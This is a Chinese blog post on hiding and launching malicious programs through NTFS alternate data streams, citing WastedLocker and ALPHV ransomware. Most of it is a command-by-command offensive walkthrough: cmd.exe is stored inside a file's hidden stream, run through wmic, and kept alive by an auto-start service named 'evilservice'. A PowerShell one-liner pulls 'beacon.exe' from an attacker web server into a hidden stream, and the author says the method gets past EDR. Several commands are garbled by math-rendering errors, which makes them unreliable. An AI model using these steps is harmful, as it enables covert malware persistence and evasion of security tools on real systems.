首页 > 编程语言 >隐匿加载恶意程序

隐匿加载恶意程序

时间:2024-11-26 09:04:04浏览次数:10  
标签:ADS 隐匿 恶意程序 MyFile 数据流 Users txt root 加载

本文将从NTFS交换数据流(ADS)介绍入手,分析当前APT组织对其进行利用的手法,来介绍ADS在持久化和加载恶意程序中起到的作用。
前言
本文将从NTFS交换数据流(ADS)介绍入手,分析当前APT组织对其进行利用的手法,来介绍ADS在持久化和加载恶意程序中起到的作用。

ADS简介
NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。

所有的文件在NTFS中至少包含一个主数据流,也就是用户可见的文件或是目录,一个文件在NTFS中真正的文件名称格式:

<文件名>:<流名>:<流种类>
其中流种类不常使用,一般都以文件名和流名的方式显示出来。

举个简单的例子,我们新建一个目录,在里面新建一个文件111.txt并填充内容123456,在cmd中使用命令dir /r /a(注意不要使用powershell执行该命令):

Directory of C:\Users\root\Desktop\testDriver\test0

05/08/2024 03:30 PM

.
05/08/2024 03:30 PM
05/08/2024 03:28 PM 6 111.txt
1 File(s) 6 bytes
2 Dir(s) 42,820,857,856 bytes free
在powershell下执行命令:

PS C:\Users\root\Desktop\testDriver\test0> Get-Content .\111.txt -Stream ‘:$DATA’
123456
可以获取到文件的数据流。这个数据流为程序的默认数据流。除了默认数据流外,是否可以创建其他数据流而不在目录中显示呢?

真实世界的ADS利用手法
其一 WastedLocker 勒索软件
WastedLocker 是一个相对较新的勒索软件家族,自 2020 年 4 月以来一直在被追踪。WastedLocker 喜欢请求以管理权限运行木马。如果木马以非管理权限执行,它将尝试通过UAC绕过来提升权限。一旦提升,勒索软件就会将 System32 中的随机文件副本写入%APPDATA%目录。新复制的文件将具有随机且隐藏的文件名。此过程允许勒索软件通过备用数据流 (ADS) 将自身复制到文件中。随后在 %TEMP%中创建一个新文件夹,其中包含 WINMM.DLL 和 WINSAT.EXE 的副本。然后,利用 WINMM.DLL 的 %TEMP%副本从之前生成的备用数据流中执行勒索软件。

其二 ALPHA SPIDER 勒索软件
Alphv 勒索软件即服务首次出现于 2021 年 12 月,因其是第一个使用 Rust 编程语言编写的勒索软件而闻名。 Alphv RaaS 提供了许多旨在吸引复杂附属机构的功能,包括针对多个操作系统的勒索软件变体、高度可定制的变体,每小时都会自我重新编译来逃避杀毒软件。这个勒索软件使用了多个防御规避数据,其中NTFS数据流被他们用来进行持久化,在 C:\System 中的多个 Windows 系统上部署了 reverse-ssh 可执行文件,然后将其隐藏在 C 卷根目录中。创建的ADS 名为Host Process for Windows Service 。紧接着创建了一个恶意服务,以确保其 reverse-ssh 工具的持久性,然后再从初始位置删除可执行文件。
在这里插入图片描述
ADS 的利用
上面我简要介绍了ADS是什么,下面我们来熟悉一下ADS的使用方法和利用手法。

首先,我们重新创建一个文件:

echo AnyData > MyFile.txt
查看dir:

dir MyFile.txt
Volume in drive C has no label.
Volume Serial Number is F87D-6A1F

Directory of C:\Users\root\Desktop\testDriver

05/07/2024 07:28 PM 10 MyFile.txt
1 File(s) 10 bytes
0 Dir(s) 42,828,369,920 bytes free
使用powershell查看文件流:

Get-Content .\MyFile.txt -Stream ':KaTeX parse error: Undefined control sequence: \MyFile at position 31: …令 Get-Content .\̲M̲y̲F̲i̲l̲e̲.txt -Stream ':DATA’在 PowerShell 中使用,其目的是从指定文件的特定数据流中读取内容。下面是命令各部分的具体解释:

Get-Content: 这是一个 PowerShell 命令,用于读取文件的内容。

.\MyFile.txt: 指定了要读取内容的文件路径,当前使用的是相对路径,有的时候则需要使用绝对路径(下文会看到)

-Stream ': D A T A ′ : 指定从文件中的特定数据流读取内容。在这里 : DATA': 指定从文件中的特定数据流读取内容。在这里 : DATA′:指定从文件中的特定数据流读取内容。在这里:DATA 是指要访问的备用数据流的名称。

: D A T A 是 N T F S 文件系统中默认的数据流,通常简称为 " 数据流 " ,它存储文件的主体内容。在绝大多数情况下,当用户查看或编辑文件时,实际上是在访问 : DATA是 NTFS 文件系统中默认的数据流,通常简称为 "数据流",它存储文件的主体内容。在绝大多数情况下,当用户查看或编辑文件时,实际上是在访问 : DATA是NTFS文件系统中默认的数据流,通常简称为"数据流",它存储文件的主体内容。在绝大多数情况下,当用户查看或编辑文件时,实际上是在访问:DATA 流。然而,如果文件有其他命名的备用数据流,这些数据流不会在文件浏览器中显示,也不会占用显而易见的磁盘空间(不过它们确实占用总磁盘空间)。

如果我们想查看一个文件的所有数据流可以使用下面的指令:

Get-Item -Path .\MyFile.txt -Stream *
这将列出文件的所有数据流,包括默认的 :$DATA 流和可能存在的任何其他备用数据流。

Get-Item -Path .\MyFile.txt -Stream *

PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\root\Desktop\testDriver\MyFile.txt::KaTeX parse error: Undefined control sequence: \FileSystem at position 47: …PowerShell.Core\̲F̲i̲l̲e̲S̲y̲s̲t̲e̲m̲::C:\Users\root…DATA
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\root\Desktop\testDriver\MyFile.txt
Stream : :KaTeX parse error: Undefined control sequence: \MyFile at position 45: …式,Get-Content .\̲M̲y̲F̲i̲l̲e̲.txt -Stream ':DATA’ 命令在大多数情况下等同于简单地使用 Get-Content .\MyFile.txt,因为 :$DATA 是默认的主数据流。

数据直接写入文件流:

Write-Output ‘SecretMessage’ | Set-Content .\MyFile.txt -Stream ‘Secret’
但是大多数的时候我们都是从文件中读取数据,不会这样手动输入,因此使用Get-Content获取文件数据后管道写入数据流中,如下所示:

Get-Content .\MyFile.txt | Set-Content .\MyFile.txt -Stream ‘Secret1’
cat .\MyFile.txt -Stream Secret1
但是我们查看MyFile.txt文件,其实内容还是没发生改变的:

cat .\MyFile.txt
AnyData
如果我们想查看这个加密内容,则需要使用:

cat .\MyFile.txt -Stream Secret
SecretMessage
再次查看文件流:

Get-Item -Path .\MyFile.txt -Stream *

PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\root\Desktop\testDriver\MyFile.txt::KaTeX parse error: Undefined control sequence: \FileSystem at position 47: …PowerShell.Core\̲F̲i̲l̲e̲S̲y̲s̲t̲e̲m̲::C:\Users\root…DATA
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\root\Desktop\testDriver\MyFile.txt
Stream : :$DATA
Length : 10

PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\root\Desktop\testDriver\MyFile.txt:Secret
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\root\Desktop\testDriver
PSChildName : MyFile.txt:Secret
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\root\Desktop\testDriver\MyFile.txt
Stream : Secret
Length : 15
注意:这种数据流是跟当前系统绑定的,如果我们把这个文件或者文件夹复制到其他系统中,就没有效果了。所以需要是木马落地后再进行的操作。

PS C:\Users\root\Desktop\testDriver> Get-Alias echo

CommandType Name Version Source


Alias echo -> Write-Output
下面需要使用cmd,不要使用powershell

type C:\Windows\System32\calc.exe > MyFile.txt:Calculator
接着输入dir /r:

C:\Users\root\Desktop\testDriver>dir /r
Volume in drive C has no label.
Volume Serial Number is F87D-6A1F

Directory of C:\Users\root\Desktop\testDriver

05/07/2024 07:34 PM

.
05/07/2024 07:34 PM
05/07/2024 07:56 PM 10 MyFile.txt
27,648 MyFile.txt:Calculator: D A T A 15 M y F i l e . t x t : S e c r e t : DATA 15 MyFile.txt:Secret: DATA15MyFile.txt:Secret:DATA
1 File(s) 10 bytes
2 Dir(s) 42,825,474,048 bytes free
powershell执行:

type ./MyFile.txt:Secret
SecretMessage
但是假如我们想执行calc,使用./MyFile.txt:Calculator是否可行呢?

PS C:\Users\root\Desktop\testDriver> ./MyFile.txt:Calculator
Program ‘Calculator’ failed to run: The system cannot find the file specifiedAt line:1 char:1

  • ./MyFile.txt:Calculator

At line:1 char:1

  • ./MyFile.txt:Calculator
  •   + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
      + FullyQualifiedErrorId : NativeCommandFailed
    

这里其实可以使用wmic来执行:

wmic process call create +绝对路径
在这里插入图片描述
在这里插入图片描述
type c:\windows\system32\cmd.exe > %CD%file.txt:cmd.exe
sc create evilservice binPath= “”%CD%file.txt:cmd.exe" /c echo works > “%CD%works.txt”" DisplayName= “evilservice” start= auto
sc start evilservice
这里通过注册服务来达到开机自启动的效果。

测试驱动加载
经过测试,无法加载驱动。因为驱动需要指定固定路径,无法从ADS数据流中进行加载。

整体流程
创建基础文件
echo AnyData > MyFile.txt
制作隐藏恶意ADS文件流
使用powershell:

Get-Content -Path “C:\windows\system32\cmd.exe” -Raw | Set-Content -Path “ ( ( (PWD.Path)\MyFile.txt:cmd.exe” -Stream cmd.exe
使用cmd查看生成的数据流:

Directory of C:\Users\root\Desktop\testfile

05/08/2024 09:49 AM

.
05/08/2024 09:49 AM
05/08/2024 10:04 AM 20 MyFile.txt
289,794 MyFile.txt:cmd.exe:$DATA
1 File(s) 20 bytes
2 Dir(s) 43,033,567,232 bytes free
创建持久化服务
sc create ADS binPath= “”%CD%\MyFile.txt:cmd.exe" /c echo works > “%CD%\works.txt”" DisplayName= “ADS” start= auto
查看服务是否创建:

C:\Users\root\Desktop\testfile>sc qc ADS
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ADS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : “C:\Users\root\Desktop\testfileMyFile.txt:cmd.exe” /c echo works > “C:\Users\root\Desktop\testfileworks.txt”
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : evilservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
执行隐藏的指令
sc start ADS
网络加载
大多数情况下,我们需要执行的程序都是通过托管在服务器上,然后通过网络加载进行使用的。我们可以使用Invoke-WebRequest来进行网络加载:

托管服务器开启web服务:

python -m http.server 8080
网络加载方式如下:

t e m p F i l e = " tempFile = " tempFile="($PWD.Path)\temp_download"; Invoke-WebRequest -Uri “http://192.168.56.79:8080/beacon.exe” -OutFile $tempFile; Get-Content -Path t e m p F i l e − R a w ∣ S e t − C o n t e n t − P a t h " tempFile -Raw | Set-Content -Path " tempFile−Raw∣Set−Content−Path"($PWD.Path)\MyFile.txt" -Stream test1; Remove-Item $tempFile -Force
优点
经过测试,ADS可以用来拷贝程序备份,然后执行,在面对EDR时EDR会删除备份文件而对源文件无影响,达到持久化的目的。

其他
api0cradle在2018年总结了一系列第三方软件(LOLBins)来利用ADS的程序,可以灵活在实战时应用,涉及到了以下三种利用方式:

Add content to ADS
Extract content from ADS
Executing from ADS
感兴趣的师傅可以自行了解,感觉测试后蛮多手法都会被数字公司杀掉:https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

参考链接
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/

https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/

https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

标签:ADS,隐匿,恶意程序,MyFile,数据流,Users,txt,root,加载
From: https://blog.csdn.net/Libao657/article/details/143902925

相关文章

  • 支持无限加载的js图片画廊插件
    在线演示  下载  natural-gallery-js是一款支持无限加载的js图片画廊插件。该js图片画廊支持图片的懒加载,可以对图片进行搜索,分类,还可以以轮播图的方式来展示和切换图片。  使用方法在页面中引入下面的CSS和js文件。<linkrel="stylesheet"href="../dist/t......
  • 如何在CodeIgniter中添加或加载模型
    在CodeIgniter框架中,模型(Model)是用于与数据库进行交互的重要组件。模型通常包含数据库查询、业务逻辑以及与数据库表相关的函数。以下是如何在CodeIgniter中添加或加载模型的步骤:1.创建模型文件首先,你需要在application/models目录下创建一个PHP文件来定义你的模型。文件名......
  • 请列举出多种减少页面加载时间的方法
    减少页面加载时间是前端开发中的关键目标,它直接影响用户体验和SEO。以下列举多种减少页面加载时间的方法,涵盖了不同方面:1.优化图片:选择合适的图片格式:WebP通常提供比JPEG和PNG更好的压缩,同时保持高质量。如果浏览器不支持WebP,可以使用fallback提供JPEG或PNG版......
  • js异步加载有哪些方案?
    JavaScript异步加载方案有很多,它们的目的都是为了防止JavaScript阻塞HTML解析和渲染,从而提高页面加载速度和用户体验。以下是一些常用的方案:1.<scriptasync>:作用:告诉浏览器立即下载脚本,并在下载完成后尽快执行,不会阻塞HTML解析器。多个async脚本的执行顺序不确定,哪个先下......
  • ListDLLs 是一个工具程序,通常用于列出 Windows 操作系统中当前加载的动态链接库(DLL)。
    ListDLLs是一个工具程序,通常用于列出Windows操作系统中当前加载的动态链接库(DLL)。它能够显示系统中所有的DLL文件,以及这些文件在不同进程中的加载情况。这个工具对于开发者、系统管理员和安全分析人员来说,具有一定的实用价值,特别是在诊断软件问题、分析进程和检测恶意软件时......
  • PbootCMS网站使用编辑器多图上传提示“后端配置项没有正常加载,上传插件不能正常使用!”
    问题:PbootCMS使用UEditor编辑器时,单图片上传按钮没有反应,多图片上传提示“后台配置项返回格式出错,上传功能将不能正常使用!”解决方案:修改时间区域配置:将 controller.php 文件中的 date_default_timezone_set("Asia/chongqing"); 修改为 date_default_timezone_set("As......
  • Drools与动态加载规则文件
    Drools简介Drools是一款基于Java的开源规则引擎,将规则与业务代码解耦。规则以脚本的形式存储在一个文件中,使规则的变化不需要修改代码,重新启动机器即可在线上环境中生效。规则引擎实现了业务决策从应用程序代码中分离出来,并使用预定义的语义模块编写业务决策。接受数据输入、解释......
  • 实战网络攻防中的高版本JDK反射类加载浅析
    就是要打骨折http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect《Java代码审计》http:......
  • 双亲委派机制以及类加载过程就是这样啊
    类加载过程:简洁来说就是将我们的已经完成编译的class字节码文件通过类加载器到我们JVM的内存运行时数据区成为我们可以在程序中可以使用的class对象,而类加载器就是通过双亲委派机制来实现的,这个也是反射的底层实现的原因具体流程: 加载链接 初始化加载:就是通过类加......
  • ProTable 如何做到下拉滚动加载数据
    1、这里主要是什么呢这里的关键是$('.ant-table-body').on('scroll',handleScrollEvent);监听滚动条事件。1、然后再reuqest里面设置,是因为ProTable点击查询时,会进到这里。2、监听page,是当滚动导致页数,发生变化时,重新加载数据!importReact,{useRef,useEffect,useState......